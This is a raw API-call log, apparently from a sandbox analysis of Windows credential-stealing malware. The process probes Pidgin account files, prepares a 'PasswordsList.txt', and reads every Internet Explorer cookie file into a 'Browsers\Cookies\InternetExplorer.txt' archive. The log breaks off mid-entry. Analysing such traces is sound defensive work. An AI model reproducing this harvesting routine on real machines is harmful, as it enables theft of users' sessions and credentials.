0x43 [0061.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\.purple\\accounts.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.185] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\.purple\\accounts.xml")) returned 0xffffffff [0061.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\.purple\\accounts.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.186] CharToOemBuffA (in: lpszSrc="PasswordsList.txt", lpszDst=0x3bcdc8c, cchDstLength=0x11 | out: lpszDst="PasswordsList.txt") returned 1 [0061.189] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x3bce194, Length=0xb1) returned 0xf8135772 [0061.189] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x37827d0, cbMultiByte=16, lpWideCharStr=0x18d388, cchWideChar=2047 | out: lpWideCharStr="InternetExplorer%\\Psi\\profiles\\\\") returned 16 [0061.189] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\Windows\\Cookies\\", lpDst=0x6f06ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 0x49 [0061.189] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c3625f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1c3625f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1c3625f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 0x68d540 [0061.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.192] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x53 [0061.192] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bcc15c, nNumberOfBytesToRead=0x53, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bcc15c*, lpNumberOfBytesRead=0x18e098*=0x53, lpOverlapped=0x0) returned 1 [0061.193] CloseHandle (hObject=0x3f4) returned 1 [0061.193] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d72bcd0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e6a4bd0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e6a4bd0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[3].txt", cAlternateFileName="5P0100~1.TXT")) returned 1 [0061.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.204] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x227 [0061.204] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a106c, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a106c*, lpNumberOfBytesRead=0x18e098*=0x227, lpOverlapped=0x0) returned 1 [0061.205] CloseHandle (hObject=0x3f4) returned 1 [0061.205] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d8f4d50, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e658910, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@demdex[1].txt", cAlternateFileName="5PFFE8~1.TXT")) returned 1 [0061.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.208] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xf1 [0061.208] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd0b40, nNumberOfBytesToRead=0xf1, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd0b40*, lpNumberOfBytesRead=0x18e098*=0xf1, lpOverlapped=0x0) returned 1 [0061.216] CloseHandle (hObject=0x3f4) returned 1 [0061.217] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e658910, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e658910, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", cAlternateFileName="5PB43E~1.TXT")) returned 1 [0061.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.217] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x6f [0061.218] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd0140, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd0140*, lpNumberOfBytesRead=0x18e098*=0x6f, lpOverlapped=0x0) returned 1 [0061.218] CloseHandle (hObject=0x3f4) returned 1 [0061.219] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1dcf9270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@everesttech[1].txt", cAlternateFileName="5P5NRG~4.TXT")) returned 1 [0061.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.221] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x6e [0061.221] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd0140, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd0140*, lpNumberOfBytesRead=0x18e098*=0x6e, lpOverlapped=0x0) returned 1 [0061.221] CloseHandle (hObject=0x3f4) returned 1 [0061.222] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86af2d0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[2].txt", cAlternateFileName="5P5NRG~2.TXT")) returned 1 [0061.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.234] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x114 [0061.234] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd11c4, nNumberOfBytesToRead=0x114, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd11c4*, lpNumberOfBytesRead=0x18e098*=0x114, lpOverlapped=0x0) returned 1 [0061.235] CloseHandle (hObject=0x3f4) returned 1 [0061.235] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1dcf9270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x56, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@ml314[1].txt", cAlternateFileName="5P0DBF~1.TXT")) returned 1 [0061.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.236] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x56 [0061.236] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a2c4c, nNumberOfBytesToRead=0x56, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a2c4c*, lpNumberOfBytesRead=0x18e098*=0x56, lpOverlapped=0x0) returned 1 [0061.236] CloseHandle (hObject=0x3f4) returned 1 [0061.236] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 1 [0061.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.238] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x19e [0061.238] ReadFile (in: hFile=0x3f4, lpBuffer=0x522e0c, nNumberOfBytesToRead=0x19e, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x522e0c*, lpNumberOfBytesRead=0x18e098*=0x19e, lpOverlapped=0x0) returned 1 [0061.239] CloseHandle (hObject=0x3f4) returned 1 [0061.239] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 0 [0061.239] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.239] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 0xffffffff [0061.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f8 [0061.239] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x19e [0061.240] ReadFile (in: hFile=0x3f8, lpBuffer=0x522e0c, nNumberOfBytesToRead=0x19e, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x522e0c*, lpNumberOfBytesRead=0x18e098*=0x19e, lpOverlapped=0x0) returned 1 [0061.240] CloseHandle (hObject=0x3f8) returned 1 [0061.240] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 0 [0061.240] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.240] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\InternetExplorer.txt", lpszDst=0x3bd327c, cchDstLength=0x25 | out: lpszDst="Browsers\\Cookies\\InternetExplorer.txt") returned 1 [0061.240] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x3bd32e4, Length=0x714) returned 0x5c411b39 [0061.240] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\Windows\\Cookies\\Low\\", lpDst=0x6f66ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned 0x4d [0061.240] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44eb6480, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44eb6480, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44eb6480, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", cAlternateFileName="5P9943~1.TXT")) returned 0x68d540 [0061.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.269] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x66 [0061.269] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a0b24, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a0b24*, lpNumberOfBytesRead=0x18e098*=0x66, lpOverlapped=0x0) returned 1 [0061.270] CloseHandle (hObject=0x3f4) returned 1 [0061.270] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44bd95f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44bd95f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44bd95f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", cAlternateFileName="5P37D9~1.TXT")) returned 1 [0061.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.271] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x66 [0061.271] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a0b24, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a0b24*, lpNumberOfBytesRead=0x18e098*=0x66, lpOverlapped=0x0) returned 1 [0061.272] CloseHandle (hObject=0x3f4) returned 1 [0061.272] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf73d210, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", cAlternateFileName="5P2CBA~1.TXT")) returned 1 [0061.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.277] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x5d [0061.277] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a1650, nNumberOfBytesToRead=0x5d, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a1650*, lpNumberOfBytesRead=0x18e098*=0x5d, lpOverlapped=0x0) returned 1 [0061.278] CloseHandle (hObject=0x3f4) returned 1 [0061.278] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2a0770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf7d5790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7d5790, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adform[1].txt", cAlternateFileName="5P8600~1.TXT")) returned 1 [0061.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.279] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xea [0061.280] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bce194, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bce194*, lpNumberOfBytesRead=0x18e098*=0xea, lpOverlapped=0x0) returned 1 [0061.280] CloseHandle (hObject=0x3f4) returned 1 [0061.280] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe5d5130, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0x45f08810, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45f08810, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adnxs[1].txt", cAlternateFileName="5P89EF~1.TXT")) returned 1 [0061.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.282] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x242 [0061.282] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd16e8, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd16e8*, lpNumberOfBytesRead=0x18e098*=0x242, lpOverlapped=0x0) returned 1 [0061.283] CloseHandle (hObject=0x3f4) returned 1 [0061.283] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fcb4b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fcb4b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 